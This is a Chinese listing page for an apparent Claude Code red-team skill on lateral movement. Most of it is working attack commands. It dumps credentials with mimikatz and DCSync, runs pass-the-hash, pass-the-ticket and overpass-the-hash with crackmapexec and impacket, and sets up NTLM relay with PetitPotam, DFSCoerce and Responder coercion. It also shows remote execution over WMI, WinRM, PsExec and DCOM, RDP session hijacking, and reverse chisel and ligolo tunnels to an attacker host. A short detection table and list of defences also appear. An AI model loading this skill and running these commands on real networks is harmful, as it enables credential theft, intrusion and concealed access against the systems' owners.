关于 offensive-lateral-movement
面向授权红队测试的安全技能,介绍初始入侵后在网络主机间横向移动的方法,涵盖凭据利用、远程执行、会话劫持、隧道和检测信息。
主要功能
- 01凭据与票据复用
- 02NTLM 中继技术
- 03远程执行方法
- 04RDP 会话劫持
- 05SSH 与网络隧道
- 06检测与 OPSEC 说明
适用场景
- 01评估授权测试中的横向访问能力
- 02根据凭据选择执行方式
- 03通过跳板访问隔离网段
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-lateral-movement安装后在 Claude Code 中输入/offensive-lateral-movement确认已加载。
详细介绍
横向移动攻击
横向移动是在初始入侵后扩大网络访问范围的阶段。你会利用窃取的凭据、令牌操作或协议滥用,从一个系统跳转到另一个系统。目标是在尽量减少被检测痕迹的同时,触达高价值目标——域控制器、数据库服务器、文件共享。这里的每项技术都假设你在当前主机上至少持有一个有效凭据或会话令牌。
本技能涵盖基于凭据的移动、NTLM 中继、远程执行协议、会话劫持和网络隧道。仅在授权的行动中使用这些技术。
快速工作流
- 枚举可访问的主机和开放端口(445、5985、5986、3389、22、135)。
- 从当前主机窃取凭据(LSASS、SAM、缓存凭据)。
- 使用 crackmapexec/netexec 测试在已发现主机上的凭据重用情况。
- 根据可用凭据和目标服务选择移动技术。
- 在新主机上建立持久化,然后再继续移动。
- 如果需要访问分段网络,请设置隧道。
- 在行动报告中记录每次跳转。
哈希传递
哈希传递(PtH)让你无需知道明文密码,即可使用 NTLM 哈希进行身份验证。你可以从 LSASS、SAM 数据库或 NTDS.dit 中提取哈希,然后将其注入身份验证请求。
在当前主机上使用 mimikatz 提取哈希:
# Elevate to debug privilege and dump logon passwords
privilege::debug
sekurlsa::logonpasswords
# Dump SAM hashes (requires SYSTEM)
lsadump::sam
# Dump domain hashes from ntds.dit (on a DC)
lsadump::dcsync /domain:corp.local /all /csv
使用 crackmapexec(或 netexec)在网络中喷洒哈希:
# Test a single hash against a subnet
crackmapexec smb 10.10.10.0/24 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# Execute a command on a target via PtH
crackmapexec smb 10.10.10.50 -u admin -H <NT_HASH> -x "whoami /all"
# netexec (modern fork) with same syntax
nxc smb 10.10.10.0/24 -u admin -H <NT_HASH> --shares
使用 impacket 获取 Shell 访问权限:
# PtH with psexec
impacket-psexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/[email protected]
# PtH with wmiexec (stealthier, no service creation)
impacket-wmiexec -hashes aad3b435b51404ee:<NT_HASH> corp.local/[email protected]
# PtH with evil-winrm
evil-winrm -i 10.10.10.50 -u administrator -H <NT_HASH>
OPSEC 提示:PsExec 会在目标上创建服务(事件 7045)。尽可能优先使用 wmiexec 或 evil-winrm。使用 crackmapexec 的 --no-bruteforce,可在针对多个哈希测试多个用户时避免账户锁定。
票据传递与哈希转票据
票据传递(PtT)会将窃取的 Kerberos TGT 或 TGS 注入你的会话,让你以票据所有者的身份进行身份验证。哈希转票据会将 NTLM 哈希转换为 Kerberos 票据,让你仅凭哈希即可通过 Kerberos 进行访问。
使用 mimikatz 从内存中导出票据:
# List all Kerberos tickets in memory
sekurlsa::tickets /export
# Inject a stolen TGT into the current session
kerberos::ptt C:\tickets\admin_krbtgt.kirbi
哈希转票据——使用 NTLM 哈希请求 Kerberos TGT:
# Overpass-the-hash: create a new logon session with the hash
sekurlsa::pth /user:administrator /domain:corp.local /ntlm:<NT_HASH> /run:powershell.exe
在 Linux 上使用 impacket:
# Request a TGT with a hash (overpass-the-hash)
impacket-getTGT -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
# Set the ticket in the environment
export KRB5CCNAME=administrator.ccache
# Use the ticket with psexec
impacket-psexec -k -no-pass corp.local/[email protected]
为特定 SPN 请求服务票据:
# Get a TGS for CIFS service on a target
impacket-getST -spn cifs/fileserver.corp.local -hashes aad3b435b51404ee:<NT_HASH> corp.local/administrator
OPSEC 提示:Kerberos 身份验证会生成事件 4768(TGT 请求)和 4769(TGS 请求)。当 AES 为域默认加密方式时,哈希转票据会产生使用 RC4 加密的异常 4768 事件,这是已知的检测信号。
NTLM 中继攻击
NTLM 中继会捕获身份验证尝试,并将其转发给目标服务。你可以诱使一台计算机向你的监听器进行身份验证,然后将该身份验证中继到另一台未强制启用 SMB 签名的主机。
检查网络中的 SMB 签名情况:
# Identify hosts without SMB signing required
crackmapexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
# Alternative with nmap
nmap --script smb2-security-mode -p 445 10.10.10.0/24
设置 ntlmrelayx 以中继捕获的身份验证:
# Relay to targets without SMB signing, dump SAM
impacket-ntlmrelayx -tf relay_targets.txt -smb2support
# Relay and execute a command
impacket-ntlmrelayx -tf relay_targets.txt -smb2support -c "whoami > C:\\relay_proof.txt"
# Relay to LDAP for delegation abuse or shadow credentials
impacket-ntlmrelayx -t ldaps://dc01.corp.local --shadow-credentials --shadow-target ws01$
# Relay to ADCS web enrollment for certificate theft
impacket-ntlmrelayx -t http://ca.corp.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
使用 PetitPotam(滥用 MS-EFSR)诱使其进行身份验证:
# Unauthenticated coercion (patched but often still works)
python3 PetitPotam.py <LISTENER_IP> <TARGET_DC_IP>
# Authenticated coercion
python3 PetitPotam.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>
使用 DFSCoerce(MS-DFSNM)诱使其进行身份验证:
python3 dfscoerce.py -u user -p password -d corp.local <LISTENER_IP> <TARGET_DC_IP>
使用 PrinterBug(MS-RPRN)诱使其进行身份验证:
python3 printerbug.py corp.local/user:password@<TARGET_DC_IP> <LISTENER_IP>
设置 Responder 以进行投毒和捕获:
# Poison LLMNR/NBT-NS and capture hashes
responder -I eth0 -wFb
# Run in analysis mode first to identify traffic
responder -I eth0 -A
OPSEC 提示:NTLM 中继会留下大量痕迹。通过监控重复的名称解析响应,可以检测到 Responder 投毒。PetitPotam 强制身份验证会生成从 DC 到你的监听器的 4624 类型 3 登录事件。
远程执行方法
获得有效凭据后,可以通过多种协议远程执行命令。每种方法留下的取证痕迹各不相同。
WMI 执行
# impacket wmiexec -- semi-interactive shell via WMI
impacket-wmiexec corp.local/admin:[email protected]
# Execute a single command
impacket-wmiexec corp.local/admin:[email protected] "ipconfig /all"
# With hash
impacket-wmiexec -hashes :<NT_HASH> corp.local/[email protected]
WMI 不会创建服务。输出会写入 ADMIN$ 共享上的临时文件,再读取回来。此操作会生成 WMI 事件日志(Microsoft-Windows-WMI-Activity)。
WinRM / PSRemoting
# evil-winrm interactive shell
evil-winrm -i 10.10.10.50 -u admin -p 'Password1'
# With hash
evil-winrm -i 10.10.10.50 -u admin -H <NT_HASH>
# Upload/download files
upload /local/path/payload.exe C:\Windows\Temp\payload.exe
download C:\Users\admin\Desktop\flag.txt /local/loot/flag.txt
# Native PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName 10.10.10.50 -Credential $cred
Invoke-Command -ComputerName 10.10.10.50 -Credential $cred -ScriptBlock { whoami }
WinRM 要求开放端口 5985(HTTP)或 5986(HTTPS),且用户必须属于 Remote Management Users 组(或拥有本地管理员权限)。
PsExec 及替代方案
# impacket psexec -- creates a service, uploads binary
impacket-psexec corp.local/admin:[email protected]
# smbexec -- no binary upload, uses cmd.exe service
impacket-smbexec corp.local/admin:[email protected]
# atexec -- scheduled task execution
impacket-atexec corp.local/admin:[email protected] "whoami"
# dcomexec -- DCOM MMC20.Application or ShellWindows
impacket-dcomexec -object MMC20 corp.local/admin:[email protected]
DCOM 横向移动
# Instantiate MMC20.Application on remote host
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.50"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\dcom_proof.txt","7")
# ShellWindows method
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","10.10.10.50"))
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)
DCOM 需要使用端口 135 和动态 RPC 端口。它会生成 DCOM 事件日志 (DistributedCOM 10016 错误是常见的指标)。
RDP 会话劫持
如果你在终端服务器上拥有 SYSTEM 权限,就可以劫持已断开连接的 RDP 会话,而无需知道会话所有者的密码。
# List active sessions
query user
# Hijack a disconnected session (requires SYSTEM context)
# Session ID 2, redirect to your console session
tscon 2 /dest:console
# Create a service to run tscon as SYSTEM
sc create sesshijack binpath= "cmd.exe /k tscon 2 /dest:console"
net start sesshijack
这项技术(T1563.002)在跳板服务器上非常有效,因为管理员常会让会话保持断开连接状态。它会产生事件 4778(会话重新连接) 和 4779(会话断开连接)。
SSH 枢轴与隧道
当你进入 Linux 主机或安装了 OpenSSH 的 Windows 主机时,可以建立 隧道以访问原本无法触达的网络网段。
SSH 隧道
# Local port forward: access 10.10.20.50:445 through pivot host
ssh -L 8445:10.10.20.50:445 user@pivot-host
# Dynamic SOCKS proxy through pivot host
ssh -D 1080 user@pivot-host
# Use proxychains with the SOCKS proxy
proxychains crackmapexec smb 10.10.20.0/24
# Remote port forward: expose internal service to your attack box
ssh -R 8080:127.0.0.1:80 user@attack-box
Chisel
# On your attack box (server mode)
chisel server --reverse --port 8080
# On the pivot host (client, reverse SOCKS)
chisel client <ATTACK_IP>:8080 R:socks
# This creates a SOCKS5 proxy on attack box port 1080
# Use with proxychains
proxychains impacket-psexec corp.local/admin:[email protected]
Ligolo-ng
# On attack box: start the proxy
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# On pivot host: connect the agent
ligolo-agent -connect <ATTACK_IP>:11601 -ignore-cert
# In the ligolo interface, add a route to the target network
>> session
>> ifconfig
>> start
# On attack box, add route
sudo ip route add 10.10.20.0/24 dev ligolo
Ligolo-ng 会在你的攻击机上创建一个 TUN 接口,让你可以在 IP 层直接访问目标网络,无需使用 proxychains。对于不支持代理配置的工具,这种方式比 SOCKS 代理可靠得多。
双重枢轴
# Chain two SSH tunnels for multi-hop pivoting
# Hop 1: pivot1 can reach pivot2
ssh -L 2222:pivot2:22 user@pivot1
# Hop 2: through pivot2 to the final target network
ssh -L 8445:10.10.30.50:445 -p 2222 [email protected]
# Chisel double pivot
# Attack -> pivot1 -> pivot2 -> target
# On pivot1: chisel server + client chained
chisel server --port 9001 --reverse
chisel client <ATTACK_IP>:8080 R:socks
# On pivot2: connect through pivot1
chisel client pivot1:9001 R:1081:socks
检测 / 防御者视角
了解防御者会关注哪些内容,以便评估被检测的风险。
| 技术 | 主要检测方式 | 事件 ID / 日志 |
|---|---|---|
| 哈希传递 | NTLM 登录类型为 3,且之前没有类型为 10 的登录 | 4624(登录类型 3、9) |
| 票据传递 | AES 为默认加密方式时出现使用 RC4 的 TGT 请求 | 4768、4769 |
| NTLM 中继 | 计算机帐户向异常服务进行身份验证 | 4624、NTLM 审计日志 |
| PsExec | 创建服务、访问 ADMIN$ 共享 | 7045、5145 |
| WMI | 创建 WMI 进程、ADMIN$ 上出现临时文件 | WMI-Activity、4688 |
| WinRM | WSMan 连接、PowerShell 远程处理日志 | Microsoft-Windows-WinRM |
| DCOM | DistributedCOM 错误、RPC 流量 | 10016、4688 |
| RDP 劫持 | 会话重新连接但没有登录 | 4778、4779 |
| Chisel/Ligolo | 异常出站连接、TUN 接口 | Netflow、Sysmon 3 |
你会遇到的关键防御控制:
- 强制启用 SMB 签名可彻底阻止中继攻击。
- Credential Guard 可防止在现代 Windows 上提取 LSASS 哈希。
- Windows Defender Credential Guard 可保护内存中的 Kerberos 票据。
- LAPS 会为每台主机生成唯一的本地管理员哈希,从而限制 PtH 的影响范围。
- 分层管理会限制特权帐户可以登录的位置。
- 网络分段会限制横向可达范围。
- 配置得当的 Sysmon 会记录进程创建、网络连接和命名管道事件,从而揭示这里介绍的大多数技术。
演练速查表
常见横向移动场景的快速参考:
SCENARIO TECHNIQUE TOOL / COMMAND
------------------------------- -------------------------- ----------------------------------------
Have NTLM hash, SMB open Pass-the-Hash crackmapexec smb -H / impacket-wmiexec -hashes
Have NTLM hash, WinRM open PtH over WinRM evil-winrm -H
Have cleartext creds PSRemoting / WinRM evil-winrm -u -p / Enter-PSSession
Have Kerberos ticket Pass-the-Ticket export KRB5CCNAME= / kerberos::ptt
No creds, SMB signing off NTLM Relay ntlmrelayx + PetitPotam/Responder
SYSTEM on terminal server RDP Hijack tscon <ID> /dest:console
Need to reach segmented net Tunneling chisel / ligolo-ng / ssh -D
Linux pivot host SSH tunneling ssh -D 1080 / ssh -L
Need full IP-layer access Ligolo-ng ligolo-proxy + ligolo-agent
Multi-hop pivot Chained tunnels SSH ProxyJump / chisel chain
Domain creds, want Kerberos Overpass-the-Hash sekurlsa::pth / impacket-getTGT
Need stealth execution WMI / DCOM impacket-wmiexec / dcomexec
MITRE ATT&CK 参考资料:
- T1021 -- 远程服务(.001 RDP、.002 SMB、.003 DCOM、.004 SSH、.006 WinRM)
- T1550 -- 使用替代身份验证材料(.002 PtH、.003 PtT)
- T1557 -- 中间人攻击(.001 LLMNR/NBT-NS 投毒)
- T1563 -- 远程服务会话劫持(.002 RDP 劫持)
关键参考资料
- Mimikatz wiki:https://github.com/gentilkiwi/mimikatz/wiki
- Impacket 示例:https://github.com/fortra/impacket/tree/master/examples
- CrackMapExec / NetExec 文档:https://www.netexec.wiki/
- Evil-WinRM:https://github.com/Hackplayers/evil-winrm
- Chisel:https://github.com/jpillora/chisel
- Ligolo-ng:https://github.com/nicocha30/ligolo-ng
- PetitPotam:https://github.com/topotam/PetitPotam
- DFSCoerce:https://github.com/Wh04m1001/DFSCoerce
- The Hacker Recipes -- NTLM 中继:https://www.thehacker.recipes/ad/movement/ntlm/relay
- MITRE ATT&CK 横向移动:https://attack.mitre.org/tactics/TA0008/